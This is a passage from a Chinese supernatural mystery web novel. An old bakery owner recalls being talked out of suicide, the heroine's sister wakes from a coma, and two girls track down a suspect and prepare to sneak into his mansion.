“我记得那是一个星期天，我还没有吃完饭的时候，警察给我打了一个电话，说我是不是陈勇业的投资人，那个人突然跑路了，卷款跑路，不只是我，也带走了其他五个投资人的资金。”
“在听到这个消息后，我的天都塌了，这每一分钱，都是我父母每天起早贪黑做甜点省下来的，他们好不容易买了一间店铺，白手起家，没想到这点家业传到我手上的时候，直接就被我抵押出去、赔了个精光。”
“那几天，我搜集了所有和陈勇业有关的资料提供给警方，但是陈勇业一直没有抓到，我们的钱也迟迟没有下落。因为没有钱还贷，催债的人隔三差五地到店里催款，催不到钱，他们就砸我的家具，一天下来，甜点没有卖出去多少，还因为这个赔了不少钱。”
“当时我想过很多，几次坚持不下去的时候，我都想过了结自己的性命。”
“某天晚上，我在街上游荡的时候，不知道为什么，就走到了河边，我在河边吹了一晚上的风，想了很多，我想起了父母刚开店的时候，是多么开心的模样，我想起了他们临终前，千叮咛万嘱咐要我做好月酥堂，以及，我想起了我的孩子老婆被追债的人赌在家里不敢出门的样子……”
“最后，我看着那粼粼水面，甚至，产生了跳下去的冲动。”
老爷爷叹了口气。
他喝了一口铁观音，茶有点苦，但也让人清醒。
回顾那段过去，是他人生的至暗时刻。
他的声音仿佛被一股无形的力量扼住了喉咙，每一个字都像是在艰难地从牙缝中挤出来一样，带着明显的哽咽和沉重。
他的声音此刻也变得沙哑起来，仿佛被砂纸打磨过一般，粗糙而刺耳。
尤其是在每句话的结尾处，那沙哑的尾音更是像被拖长了一样，迟迟不肯消散。
这尾音里，似乎蕴含着无尽的悲伤，就像是被一股浓稠的、化不开的哀愁所笼罩，让人听了不禁心生怜悯。
“就在那天晚上，在我正打算跳河的时候，一个小姑娘叫住了我。”
沈聆好奇：“是……顾倩倩？”
“对，就是顾倩倩。”老爷爷点了点头，“当时，我已经半只脚悬空在河堤上，突然听到身后一个女孩子的声音，她跟我说，千万不要放弃生的希望，生命就只有一次，任何事情都有转机，但是人死了，就一点转机都没有了。”
“我不认识那个女孩子，我只是远远地，看到她跑到我面前，上气不接下气，一张小脸憋得通红，但是还是在脑袋里努力想着有什么能安慰我的话，可是她才多大啊？她的人生阅历只有十多岁，她哪能知道人生的风雨有多残酷？”
“我没有理会她，我甚至，没有再听清楚她说了什么，只是看着那张年轻的脸，我想起了我的女儿，我想到了若干年后，我的女儿或许也会长这么大，那时候的她，该是什么模样？我为什么不能好好地活到那个时候，看看我的女儿长什么样子呢？”
“是啊，想到这里，我想死的念头好像就没有那么重了，不知道为什么，伸出去的脚，不知不觉也就收回来了。那个女娃娃，看我不再想跳河，松了一口气，露出了一个笑容，我一直记得，那个笑容呢，就像是三月份田埂里的……小野花，很可爱，很有生命力。”
“那天晚上，那个女娃娃和我，坐在河堤上聊天，我们聊了很多，女娃娃说，她虽然不太懂经营商铺，但是甜点方面，她还是有一定的见识，她认为我不应该固步自封，现在有很多年轻人也是很爱吃甜品的，我们作为甜品店，更应该与时俱进，开发一些跟得上时代潮流的甜品，主打一个口感，并且热量要尽可能做低一点，成分要提倡健康，这样才能吸引年轻人消费。”
“我回去后，按照她的思路，重新制定了月酥堂的经营理念，并从甜品店聘请了一个蛋糕师加入我们的制作团队，推出了许多中西式结合的甜品，比如，绿茶味的马卡龙、桂花味的甜甜圈……没想到啊，这么一创新，倒是打出了我们月酥堂的噱头来。”
“刚开始只是一些路过好奇的学生，但逐渐地就有了回头客，顾倩倩呢也会在微博上给我们宣传，另外，在她的建议下，我也请了许多美食博主到我的店里打卡，花了一点小钱，就打出了我们店的名气。”
“不到两年，我就还清了身上的贷款，甚至，还能对月酥堂进行拓宽，我买下了隔壁的两间店铺，请了糕点设计师，增加月酥堂的产品吸引力。当然，为了感谢顾倩倩，我还推出了一款名为‘桃花酥’的甜品，因为顾倩倩说，她最喜欢春天，最喜欢桃花，如果能把桃花的香味和颜色融入到糕点里，吃进身体里就好了。”
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沈聆和宋明夷听了老爷爷的话，沉默良久。
她们其实并不认识顾倩倩，但是从老爷爷真诚的回忆中，却也能感受到这是一个乐于助人的女孩。
而且，她曾经阻止了一个试图自杀的人，这样一个有求生欲的人，为什么在一年后会选择在世纪大酒店的卫生间里割腕自杀呢？
老爷爷叹了口气：“有一天，顾倩倩跟我说，她接下来要去别的城市，为了躲开一个男人，但是对方是谁，我并不清楚，我只知道那个人给倩倩带来了很多烦恼，她说，等她解决了这些事情，会再回来买我的桃花酥吃。”
“自那以后，我就下架了桃花酥，想着，等她重新回来的那天，再放上她喜欢吃的桃花酥，她一定会很开心。”
“没想到……”
老爷爷默默了良久，抬起头看向了沈聆和宋明夷。
“你们说……倩倩真的是自杀的？”
“嗯，目前看来，是这样的。”沈聆轻声回答，“不过，我们也感觉很奇怪，按照您说的，顾倩倩并不是一个性格阴郁的人，为何会走上自杀这条路？我感觉这不合常理。”
宋明夷也说道：“老爷爷，您知道其他和顾倩倩有关系的人吗？实不相瞒，我们也是在调查顾倩倩死亡的真相，我们认为她的死亡没有这么简单，如果能调查到任何一点蛛丝马迹，我们都会追查下去。”
听完，老爷爷陷入了沉思。
他的年纪大了，记性不是那么好了。
虽然只是发生在一年前的事情，但因为月酥堂日常的事情太多了，以及那都是一些生活琐事、也没有用心留意，因此并不会刻意记着。
他看着眼前两个孩子真诚的模样，也知道她们不是撒谎的孩子。
如果自己真的能帮到顾倩倩，那他又何尝不想呢？
老爷爷沉默了许久，喝了许多杯茶之后，抬起头看向了二位：“对了，我想起来一件事情，我记得有一次顾倩倩来我们店里买桃花酥，我送她出门的时候，看见她上了一辆豪车，那辆车是敞篷车，红色的，车尾处还有被追尾的破损，所以我很有印象的。”
“豪车？”
沈聆和宋明夷面面相觑。
在她们对黎磊为数不多的记忆中，黎磊看起来并不像是一个有钱人。
难道顾倩倩在和黎磊交往的两年中，还劈腿了富二代？
“……老爷爷，您记得您看到豪车的时候，是哪一年吗？或者，有没有具体一点的时间？我们比较好查一查那个人的身份。”
老爷爷沉默了半晌，摇了摇头：“这个，我不太记得了，可能是前年，也可能是大前年，但是我记得那是在秋天，因为地上铺满着一些落叶，我当时还抱怨了一句扫街的大嫂又偷懒摸鱼了。”
秋天……
沈聆沉默着，脑海中不知道为什么，浮现出在幻境中看到的那个名为“顾健”的男人的面容。
如果这男人是真的存在的，那么会不会他就是豪车的主人呢？
210. 沈凝苏醒
在沈聆和宋明夷回到世纪大酒店的时候，恰好遇到了通宵一个晚上的林凌从世纪大酒店里打着哈欠出来。
没想到在这里遇到了朋友，宋明夷一个雀跃上前，拿出了那袋子甜甜圈：“早啊，林大哥，吃甜甜圈吗？”
“没事，不用啦，我刚喝了矿泉水。”林凌打着哈欠，伸了个懒腰。
早晨温煦的阳光落在青绿色的草坪上，远处的草丛迷宫弯弯绕绕，隐隐约约可以看见迷宫深处的白色雕像，阳光落在这庭院中，显得格外柔软。
“你们这是从外面回来？”
“对，我们刚去了一趟月酥堂……”
沈聆简单将自己招魂的事情，以及在月酥堂侧面了解到的顾倩倩的为人说了一遍。
最后，说了那辆跑车的事情。
“敞篷的红色跑车？追尾？”
沈聆点了点头，轻声说道：“对，林警官，你能帮我们查一查有没有这辆车的信息吗？这件事情跟顾倩倩有关，而且我直觉地感觉……或许，顾倩倩并不是我们想象中的那种人。”
林凌沉默了一下，启唇说道：“我不是要说死者的坏话，但是，从目前我的了解来看，顾倩倩更偏向于是一个拜金女，她之所以会答应和黎磊交往，完全是喜欢被捧在手心里的那种感觉，把黎磊当做是一个提款机。而黎磊这个人本身就是比较偏执型的人，在顾倩倩和他分手之后，就陷入了痛苦之中，随后，更是四处打听顾倩倩的下落……我怀疑，他可能知道了什么，所以也被灭口。”
林凌将自己这两天从侧面了解到的顾倩倩和黎磊的往事详细地告诉了沈聆和宋明夷。
两人听完，倒也是沉默许久。
“虽然从现场调查来看，顾倩倩是自己割腕自杀，但是我认为并不能完全排除他人迫害的动机。顾倩倩在酒店入住的这段时间究竟见过谁，她的行动轨迹是什么？这将是我们重点调查方向。”
宋明夷眨了眨眼睛：“林大哥，会不会是黎磊杀了顾倩倩，随后伪装成自杀现场？是这样的啊，我觉得黎磊是一个很偏执的人，会不会他复合不成就杀了顾倩倩？我感觉以他对顾倩倩的狂热程度来看，还真是有可能。”
由爱生恨，杀机也因此而生。
世界上多着是这样的例子。
情杀，往往是那些陷入迷局的男女破不了的死局。
而偏执型人格的黎磊，很容易在和顾倩倩复合不成后，选择这么一种“同归于尽”的方式，让对方永远记住自己，永远“属于”自己。
只不过，这件事情上，却也有别的可能。
林凌听了宋明夷的话摇了摇头：“我之前也考虑过这一点，但是，调查后发现，黎磊是在顾倩倩死后的第七天入住酒店的，在此之前，他一直奔波辗转在寻找顾倩倩的路上，我走访了认识黎磊的人，他们能作证在顾倩倩死亡当天，他的不在场证明。”
“他有不在场证明，但并不能证明他和顾倩倩的死没有关系。”沈聆认真地分析，“比如，在此之前，他会不会已经多次骚扰顾倩倩？给她心理上的压力，或者用某些手段给她发出威胁警告，让她和自己复合，顾倩倩承受不了这方面的压力才自杀的？”
“这也不是没有可能，但是我们警察办案讲究的是证据，还需要进一步调取两人的通讯记录来佐证。”
“那……那辆红色跑车呢？我感觉这也是一个线索！”宋明夷嚼着甜甜圈，打了个响指，“林大哥，我觉得啊……顾倩倩可能在和黎磊分手的这段时间内，有一个新的男友，而且……敞篷跑车不是普通人能买得起的，从这方面调查，或许可以有一些发现。”
“你们刚才说……那辆车的车尾是有被追尾的痕迹？”
沈聆点头说道：“对，月酥堂的老板说他看到的那辆车是有这样的痕迹，但那也是一两个月之前的事情了，说不定对方已经修好了车。”
“这没关系，就算他去修车，在车行也一定有修车记录，而且是一辆红色的敞篷跑车，如果从这方面查，应该可以查到跑车的主人……”林凌喃喃着，拿出口袋里的笔记本，在笔记本上记下了这些线索，“谢谢你们提供的线索，我会重点查一查这几个方面，如果有进度的话，我再跟你们说……”
“好。”
“没问题。”
“你们俩现在还住在世纪大酒店里吗？”
“对，因为这个事情的影响，酒店的房价一落千丈，我们想着住在里面比较方便调查，所以就继续住下去了。”沈聆回答道。
“那……沈聆，你的那个招魂，是在今晚要还愿吗？”
“48小时之内都可以，我想着……等明天晚上再来，说不定这48小时内我们有新的调查进度，到时候看到黎磊，我也更有话说……至少，能安慰他一点。而且，月酥堂的老板虽然已经答应我们重新做桃花酥，但是这款甜品毕竟已经很久没有上架了，老板也要找一下以前的配方，明天早上才能做好。”
“明白。”林凌严肃地看着沈聆，“虽然我不是很懂你口中所谓的‘招魂’、‘还愿’，但是我还是觉得一切小心为上，黎磊生前就是一个喜怒无常的人，他的想法很偏激，你现在是唯一能和他沟通的人，你也要多加小心。”
“放心吧，我有经验的。”
沈聆的声音很轻，落在这一脉空气之中，却带着几分重量。
就在这时，她的手机突然震动了起来。
沈聆拿出手机一看，来电人是平安医院ICU的徐主任。
“喂？主任您好。”
从电话那头，传来徐主任略显兴奋的声音：“沈聆啊！是我，徐主任，你妹妹醒了！！这真是一个医学奇迹啊！”
听到这里，沈聆一喜：“什么？！沈凝醒了？！”
宋明夷和林凌听到这个消息后，脸上同时露出了欣喜的笑容，他们的目光交汇在一起，仿佛能透过彼此的眼睛看到对方内心的喜悦。
这一笑，不仅仅是因为这个好消息本身，更是因为他们知道沈聆为了这个好消息，付出了多大的努力，冒了多大的风险，才从一次次危机之中，积攒下了让妹妹生还的可能。
电
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话里，徐主任的声音带着感慨：“我从医这么多年，这还是第一次看到车祸受伤这么严重的病人还能好转过来，可以说，她半只脚已经踏进鬼门关了，实在是凶险啊……护士现在正在给她抽血化验，在沈凝醒来后，又昏睡了一天，所以我们没有着急着给你打电话，但是今天凌晨的时候，她又醒了，这一次，她的主观意识和思考能力都已经恢复，她明确说她想见见你，如果今天你有时间的话，来一趟医院吧。”
一股复杂的情绪如汹涌的波涛般涌上心头，沈聆只觉得心头沉甸甸的，仿佛有千斤重担压在身上一般，这些日子以来，她一直将对妹妹病情的担忧深埋在心底，不敢轻易表露出来，生怕会影响到外婆的情绪。
然而，此刻，当她听到徐主任带来的好消息时，那压抑在心头许久的担忧终于像是决堤的洪水一般，再也无法抑制，化作滚烫的热泪夺眶而出。
沈聆的喉咙微微哽咽了一下，她努力克制着自己的情绪，用略微颤抖的声音感激地回答道：“好……好的，我现在就过去，谢谢您！谢谢徐主任，如果不是您医术高明，我妹妹可能早就已经……”
说到这里，沈聆的声音突然变得有些沙哑，她实在不忍心把那个可怕的结果说出口。
“好！我待会儿就去！”
在挂完电话之后，沈聆长长地松了一口气。
她抬起头，看见林凌和宋明夷的脸上都带着笑意。
“太好了小聆聆！”
“恭喜！”
“谢谢！或许外婆说的是真的，这条绳子，真的能让我和沈凝共命。”沈聆说着，抬起手，看着手腕上挂着银色铃铛的红色手链。
在暖暖的光线下，这铃铛轻轻晃动着，发出悦耳的声音，一下，一下，仿佛是姐妹两人同频共振的心跳声。
沈聆想起过去这段时间经历的事情，不由得感慨万千，同时，也让她感觉到后怕。
如果自己当时没有选择相信外婆的话，沈凝是不是就保不住了？
现在相当于是她将自己的寿数也分给了妹妹，如果自己无法当好阴厨这一角色，是否会遭到反噬？就像……妈妈那样，那自己和妹妹，是不是将同时殒命？
沈凝苏醒的消息，让她感到喜悦，感到庆幸，同时又感觉到肩上的责任之重，她没有任何选择，只能做好自己的工作，希望能担任好第44任阴厨，至少，要坚持到沈凝完全康复，这也是爸爸妈妈对自己的托付。
沈聆这么想着，看向了远方。
清晨，太阳像一个害羞的小姑娘，慢慢地从地平线上升起，它那柔和的光芒，如同母亲的手，轻轻地抚摸着大地。
世纪大酒店的庭院里，绿草如茵，鲜花盛开，阳光透过树叶的缝隙，洒下一片片斑驳的光影，仿佛给整个庭院披上了一件金色的纱衣。
微风轻拂，带来了清晨的清新气息，也吹动了树叶和花朵，它们在阳光的照耀下，显得更加生机勃勃。
庭院中的喷泉，在阳光的映衬下，溅起的水花像是一颗颗晶莹剔透的钻石，闪烁着迷人的光芒。
211. 红绳相连的命运
沈聆和宋明夷回到平安医院之后，宋明夷回自己的科室报到了，而沈聆则去了ICU，先见了医生。
按照医生的话说，他们之前认为沈凝百分之八十将是植物人的状态，甚至终身处于昏迷之中，没想到，不到一年的时间内，这小女孩就醒了！
从目前的检查结果来看，所有手术的愈后情况都相当不错，无论是骨科手术还是脑壳手术，检查结果显示，沈凝的身体正在一点一点恢复元气，她的骨骼，她的肌肉正在逐渐恢复到车祸之前的水平，就像是新生的枝丫，在吸收了阳光和水分之后茁壮成长。
这样的恢复速度，让ICU的所有医护人员都没有想到。
“如果要用一个科学的理论解释的话，那只能说这次的车祸虽然严重，但索幸没有伤到病人的重要器官，病人年纪较小，细胞恢复速度比较快，相对于成年人或老年人，更有痊愈的可能。”
主治医生是这么说的，沈聆在看到对方欣慰的眼神之后，自己也松了一口气。
外婆是对的。
她的方法虽然有点奇怪，但总算是将沈聆从生死线上拉了回来。
只要自己继续努力，沈凝完全康复也不是没有可能。
在沈聆来到ICU的时候，一股混合着各种医疗器械运转声的冰冷气息扑面而来，空气中满是消毒水的味道，那味道刺鼻着，让人感到几分肃穆。
病房里，灯光惨白，像是一层寒霜，无情地洒在每一个角落，各种仪器闪烁着红绿相间的指示灯，发出单调而又揪心的滴答声，仿佛是在为生命的流逝倒计时。
沈聆看见妹妹沈凝静静地躺在病床上，身上插满了各种管子，那些管子像是一条条冰冷的蛇，紧紧地缠绕着她，将她与外面那个充满生机的世界隔绝开来。
她的脸色苍白如纸，毫无血色，嘴唇干裂，仿佛一片即将凋零的花瓣，她的头发已经完全被剃掉了，头上裹着一层一层白色的纱布，颅脑手术的伤口还没有愈合，她的颅骨在车祸中受损变形，新换上的人造颅骨有点生硬地在纱布外凸出了一小块灰白色，看起来有点儿突兀。
沈聆的眼眶瞬间湿润了，她感觉自己的心脏像是被一只无形的大手紧紧地攥住，一阵一阵地抽痛。
她穿着白色的隔离衣，轻轻地走到床边，眼睛一刻也不敢离开妹妹的脸，仿佛生怕一闭眼，妹妹就会再次消失在这冰冷的世界里。
她颤抖着伸出手，想要触摸妹妹的脸，却又在半空中停住了，她害怕自己粗糙的手会弄疼妹妹那脆弱的肌肤。
“小凝……”沈聆轻声呼唤着，声音沙哑而又带着无尽的温柔，像是在呼唤一个沉睡了许久的梦。
听到沈聆的声音，沈凝的眼皮微微动了一下，缓缓地睁开了眼睛。
她的眼神中还带着一丝迷茫和恐惧，像是一只迷失在黑暗中的小鹿，当她的目光落在沈聆的脸上时，那黯淡的眼神中瞬间闪过一丝光亮，像是荒芜沙漠中突然出现的一片绿洲。
“姐……”沈凝的声音微弱得如同游丝，几乎听不见。
隔着呼吸罩，不太真切。
沈聆连忙俯下身，将耳朵凑近妹妹的嘴边，泪水不受控制地滴落在妹妹的枕头上。“小凝，我在呢，我在呢。”
沈聆不停地重复着，像是在给妹妹传递着一种力量，一种能够支撑她继续与病魔抗争的力量。
沈凝努力地扯动着嘴角，想要露出一个微笑，却因为太过虚弱，那笑容看起来更像是一种痛苦的抽搐。
沈聆握住妹妹的手，那双手冰冷而又无力，仿佛没有一丝温度。
她轻轻地揉搓着妹妹的手，试图将自己的温暖传递给她。
姐妹俩的手上都带着那条红色的手绳，她们的心跳和命运，仿佛就通过这条绳子紧紧相连。
“你终于醒了，真好，真好……”沈聆的声音哽咽了，病房里安静得只能听到仪器的滴答声和沈聆的抽泣声。
这段时间，深藏在心里的悲伤和担忧，在看到沈凝转醒的这一刻如同冰雪一样消融。
心里的一块大石头终于落了地，沈聆也终于能喘一口气了。
她这才发现，自己似乎已经很累了。
只不过，身为姐姐的责任感，一直压迫着她往前走。
她必须比以前的自己更加坚强，才能扛过去这些事情。
可是，她也只是一个高中生罢了，也只是一个刚刚失去了父母亲的孩子罢了，她并不是成年人，但却不得不背上成年人的责任，甚至，需要付出比成年人更辛苦百倍的努力，才能努力维持那微小的希望。
沈凝静静地看着眼前的姐姐，眼神中充满了依赖和信任。
她轻轻地动了动手指，试图回握姐姐的手，虽然力量微弱，但沈聆却感受到了那来自妹妹内心深处的回应。
“姐，不哭了……”沈凝艰难地吐出几个字。
闻言，沈聆的心像是被一把锐利的刀狠狠地刺了一下，她紧紧地咬着嘴唇，努力不让自己哭出声来。
“好，没事儿，我就是太开心了，小凝，医生说你刚苏醒，身体还很虚弱，你要坚强，一定要坚强，好吗？”沈聆一边说着，一边用手轻轻地抚摸着妹妹的额头。
沈凝点了点头，露出了一个苍白的微笑。
“滴……滴……”
身旁，心电监护仪的声音成了病房里唯一的声音。
沈聆的探视时间并不多，为了不打扰到其他病人，医生只给了她五分钟的时间。
窗外，一阵风刮过，吹得窗户哐哐作响。
沈聆抬起头，看向窗外，不知何时，太阳已经被乌云遮蔽，惨淡的日光下，一切都显得那么苍白无力，那阴霾的天空似乎更暗了。
病房里的温度似乎又下降了一些，沈聆下意识地将妹妹身上的被子往上拉了拉，掖好被角，生怕妹妹会着凉。
“姐……”
“嗯？”
“不要太辛苦，照顾好……自己。”
“……好。”
“我和你，在一起的。”沈凝用沙哑的声音，轻声说着，她晃了晃戴在手上的红绳子，似乎在说着自己能感觉到这条绳子上传来的源源不断的来自姐姐的生命力。
沈聆含泪点头道：“嗯，放心。”
沈聆不知道沈凝能不能察觉到发生在姐妹二人身上的事情，但她相信沈凝的苏醒一定不是偶然
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沈凝苏醒的时间，恰好是她被困在顾倩倩幻境中的时间，或许是在困境中命悬一线的险境激发了姐妹之间的羁绊，从而在那一瞬间，让灵元草迸发出了强大的灵力，护住了沈聆的心脉和魂魄。
她是这么认为的。
灵元草的力量，能活死人，肉白骨。
通过红绳，也分享给了沈凝。
让沈凝重新活了过来，让她有了第二次生命。
“小凝，你还记得我们小时候一起在院子里玩耍的日子吗？那时候，我们无忧无虑，每天都过得那么开心。夏天，我们一起捉知了，冬天，我们一起堆雪人。那些日子，是我这辈子最美好的回忆。”沈聆轻声说着，脸上露出了一丝淡淡的微笑。
沈凝静静地听着，眼神中也流露出一丝怀念。
“姐……我想回家……”沈凝突然说道。
刚刚从长时间的沉睡中苏醒，肌肉还松软着，喉咙还不太能发出声音来，因此只能断断续续地说出几个字。
不过，哪怕是这几个字，在沈聆听来也弥足珍贵。
沈聆用力地点了点头：“好，等你病好了，我们就回家，回我们那个温暖的家。”
沈聆说这话的时候，语气坚定而又充满了希望。
病房的门突然被推开了，一位护士走了进来，她手里拿着一些医疗设备，准备给沈凝做检查。
沈聆连忙站起身来，给护士让出空间。
护士走到床边，轻轻地给沈凝检查着身体，一边检查，一边安慰着沈凝：“小姑娘，你刚苏醒，身体还很虚弱，要好好休息，有什么不舒服，随时告诉阿姨，好吗？”
护士的声音温柔而又亲切，沈凝点了点头。
检查完后，护士对沈聆说：“病人刚苏醒，各项体征还不是很稳定，需要继续观察，别担心，如果有情况我们随时会通知家属，从目前的检查结果来看，病人的康复情况出奇的好，再过几个星期应该可以转出ICU了。”
沈聆感激地看着护士，说道：“谢谢您！”
“不客气，这是我们的本职工作。”
窗外，雨终于淅淅沥沥地落了下来，打在窗户上，发出沙沙的声音。
沈聆看着窗外的雨，心中默默地祈祷着，希望这场雨能够洗净世间的一切苦难，希望妹妹能够在这场风雨过后，迎来属于她的彩虹。
若是要穿过这场风雨，她还需要更加努力才行。
至少，需要积累更多的阴德，这样妹妹才能更好的痊愈。
放在当下，解决顾倩倩的事情，了解黎磊的遗憾，就是第一要务。
就在沈聆离开ICU的时候，她收到了一条短信，她拿出手机一看，是林凌发来的短信。
林警官雷厉风行，目前已经查到了红色敞篷车的下落。
短信只有草草几行，信息量不小。
这辆车登记在一个男人的名下，之前这辆车的确做过维修，在维修厂查到了红色敞篷车的维修记录，红色敞篷车损坏的部位是车尾，恰好对上了月酥堂老板的证词。
车主，名叫顾健。
顾健的父亲，就是世纪大酒店的便是，顾六壬。
212. 入夜
顾健。
顾六壬独子。
从小娇生惯养在乡下老家。
顾六壬在世纪大酒店任职经理期间，酒店业务提成赚得盆满钵满，他在酒店赚钱的同时，将自己的收入全都转到了乡下老家，顾健作为顾六壬唯一的孩子，自然是从小衣食无忧，虽然不是富二代，但过的生活却和富二代差不多。
从小到大，只要是顾健想要的东西，顾六壬一律满足。
无论是名牌手表还是豪车豪宅，顾六壬恨不得把这世界上最好的东西全都双手奉上。
顾健从小到大都不爱读书，不过这并不妨碍顾六壬给他安排了更好的“成才之路”，从中学开始，顾六壬就送顾健出国留学，就读国际学校，用金钱堆砌了他走向上一个阶层的台阶，希望他能长见识，能认识更多精英家庭的孩子。
锦衣玉食环境中长大的孩子，自然有些大少爷的脾气。
名下的豪车虽然多，但经常出事故，因此，也算是维修店里赫赫有名的小少爷了。
林凌不需要花太多时间就查到了红色敞篷车的下落，以及顾健的全部信息。
而作为“信息搜集小能人”的宋明夷，更是用半天时间就将顾健的所有信息全找了出来，甚至还有他的油管账号，发的所有照片等。
几乎用“人肉搜索”的方式，将网络上所有和顾健有关的信息全整理了出来。
纵然顾健并不认识宋明夷，但宋明夷可以说十分了解顾健了。
甚至，她还查到了顾六壬在陵川市的房产，根据顾健社交账号上最新的定位信息来看，顾健现在在陵川市的可能性很大。
“而他……应该就在我们眼前的这栋豪宅里。”
宋明夷说着，指了指眼前的别墅。
沈聆抬头看去，只见夜幕像一块巨大的黑色绸缎，缓缓地铺展开来，将眼前的好治啊笼罩其中。
豪宅的主体由古朴而典雅的砖石砌成，在黯淡的光线下，轮廓若隐若现，像是被一层薄纱所笼罩，更添几分神秘色彩。
建筑风格融合了欧式的庄重与中式的精巧，尖尖的屋顶高耸入云，在月光勾勒下，恰似一顶顶神秘的皇冠；飞檐斗拱从主体结构上伸展而出，线条流畅优美，仿佛随时准备振翅高飞，墙面爬满了郁郁葱葱的常春藤，在微风中轻轻摇曳，发出沙沙的低语，为这座宏伟的建筑增添了一抹自然的生机。
此刻，她们站在黑色的围栏旁，透过围栏的缝隙，可以看到豪宅的庭院。
豪宅前的庭院，是一片精心雕琢的园林景观。
巨大的喷泉在月色下闪烁着银光，水流从层层叠叠的石阶上潺潺流下，汇聚在下方的水池中，溅起的水花如同洒落的珍珠，在月光下晶莹剔透，水池中，睡莲的花瓣微微合拢，像是在沉睡，而荷叶则在水面上投下一片片暗影，随着水波轻轻晃动。
庭院四周，高大的树木整齐排列，像是忠诚的卫士，守护着这座豪宅，树叶在风中沙沙作响，与喷泉的流水声交织在一起，演奏出一曲自然的夜曲。
豪宅的大门紧闭着，两扇厚重的铁门镶嵌着精美的花纹，在月光下闪烁着金属的光泽，门旁的石柱上，安装着华丽的壁灯，昏黄的灯光照亮了门前的小路，小路用光洁的石板铺成，一直延伸到庭院深处，石板的缝隙中，偶尔冒出几株嫩绿的小草，为这坚硬冰冷的地面增添了一丝柔软与生机。
“没想到顾经理家里居然这么有钱。”
沈聆不由得感叹。
她的脑海中浮现出在酒店里遇见的那个举止得体的男人，他穿着笔挺的西装，看起来是那么简朴，可没想到在这样的表面之下，却是一个疯狂敛财的人。
宋明夷摇了摇头：“这你就不懂了，小聆聆，顾经理虽然只是个经理，但他服务的是梁氏集团，你看到的酒店，不一定只是个酒店，说不定酒店只是一个幌子，里面为梁氏集团提供了其他敛财的方式，而作为这个场所的管家，顾六壬，自然能从中抽取到不少油水。”
“但是……他的家这么张扬奢华，就不怕梁氏集团看出他在从中捞好处吗？”
“怕？哈哈哈，小聆聆，你太天真了，他才不怕，相反，他就是要让梁氏集团看到自己的‘贪’，因为只有‘贪’的人，才有把柄，他们才算是在一条船上的人，而且，你觉得梁氏集团就差这么点钱？不可能，他们牙缝里挤出来的残渣，都够普通人吃一辈子了，这就是中国的贫富分化，我们仇富，但却没办法改变现状。”
沈聆点了点头，她还没有出社会，对宋明夷所说的并不是很能理解。
但是在直观地看到顾家的豪宅后，还是忍不住惊叹自己眼界的狭窄。
或许，世纪大酒店并不是表面上看到的只是一个旅店。
更多时候，它提供的是一个综合性的场所，能够汇集世界上形形色色、各个阶层的人，这是一个五光十色的梦，在这个梦里，你可以随心所欲地满足个人的需求，而在这样的梦里，才会有更多的人愿意花钱在某些不可告人的事情上。
顾六壬，做的或许就是这样的事情。
否则，只是一个酒店经理，不至于有这样的财力。
沈聆看着这豪宅，心中暗想。
透过豪宅那巨大的落地窗，可以看到屋内透出的温暖灯光。
那灯光洒在华丽的家具上，映照出精致的纹理和细腻的光泽。
客厅的水晶吊灯璀璨夺目，无数的水晶切割面折射出五彩的光芒，将整个房间装点得如梦如幻，窗帘是厚重的天鹅绒材质，深紫色的色调显得高贵而典雅，半掩着窗户，隐隐约约露出屋内的奢华景象。
她们绕着豪宅走了一圈，看见豪宅后方，是一个宽敞的露台。
露台上摆放着舒适的藤椅和玻璃茶几，旁边还设有一个小型的烧烤架，站在露台上，可以俯瞰整个城市的夜景。
远处，城市的灯火辉煌，像一片繁星闪烁的海洋，汽车的灯光如同流动的银河，在街道上穿梭不息，而豪宅所在的这片半山区域，则相对安静，只有偶尔传来的几声虫鸣，打破夜的寂静。微风拂过，带来一丝清新的草木香气，让人感到心旷神怡。
豪宅的每一个角落，在夜幕的笼罩下
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，都散发着一种独特的魅力。
它既展现出了主人的奢华与尊贵，又透露出一种远离尘嚣的宁静与神秘，宛如一座隐匿在夜色中的梦幻宫殿，诉说着属于自己的故事。
宋明夷看见了那露台，有了个想法。
“小聆聆，我感觉那个露台后面的房间，可能就是顾健的房间。”
“怎么说？”
“这个房间的视野，可以说是整栋别墅最好的，而且能看到远处的夜景，如果我是顾健，我也会选择这个房间。”
“但是……”
两人正说话间，几个仆人推着小推车从后门出来了，那似乎是打扫卫生的工作人员，而推车上则是今天的垃圾，他们推了好几个推车，有厨余垃圾、生活垃圾等，已经分好类后从后门推出到街道上。
“我觉得我有办法进去。”宋明夷打了个响指。
沈聆猜到了宋明夷的想法：“行不行啊？”
“肯定没问题啊！”
“但是……”
“小聆聆，你想调查清楚顾倩倩的事情吗？你不是说自己在幻境里看到了顾健杀顾倩倩吗？她的死肯定和顾健脱不开关系的！”
“是这样没错……”
“如果要更好地完成黎磊的托付，拿到更多的阴德，潜入顾宅调查，是不二之选！”
宋明夷说得振振有词，宛如一个从天而降的正义审判者。
不惧困难，不畏艰险。
不过，沈聆可不是这么好糊弄的。
“……明夷，你只是想拿到一手调查资料，在自己的账号上曝光，增加关注度吧？”
“这个……哈哈哈哈，不要拆穿嘛。”
“你这样真的好吗？如果调查出了什么，你这样爆料，是不是侵犯了他们的隐私权？”
“少来，他们哪有什么隐私权？你看看这栋豪宅，你觉得他们会是老实赚钱的人吗？肯定不是，我跟你说，小聆聆，世纪大酒店，没那么简单的，说不定我们正好能挖出一些不为人知的事情，到时候也算是‘为民除害’！”
“这……”
“我们的时间不多啦，小聆聆，你只有48个小时，最晚，明天晚上就要给黎磊一个交代，你觉得他是这么好糊弄的吗？月酥堂，桃花酥，绝对不是他随便说出的地方，所以我觉得，他的意思很明显了，就是要你调查顾健，给顾倩倩和他一个公道。”
“这么听起来，好像是这个道理。”
但是，她们之前私闯面包店，留下的后劲可不小。
加上和阴神打过照面，沈聆知道阴神应该就藏在陵川市的某个角落，也担心会不会就藏在顾宅里，因此仍旧是带着几分犹豫。
毕竟，从现实角度来说，她们这也算是非法入侵他人住宅。
之前可是被林凌上过一次课了。
宋明夷见沈聆还在犹豫，拍了拍胸脯：“没事的，相信我！我有杀手锏！”
“啊？杀手锏？”
宋明夷狡黠地眨了眨眼：“没错，如果真的有什么意外情况发生，一定会有人来救我们的。”
213. 暗房
夜，浓稠如墨，将整个顾家豪宅包裹其中，城市的喧嚣在这浓稠的黑暗中渐渐沉寂。
沈聆和宋明夷猫着腰，躲在一辆散发着腐臭气味的垃圾堆后，刺鼻的味道钻进鼻腔，沈聆忍不住皱了皱眉头，用衣袖掩住口鼻。
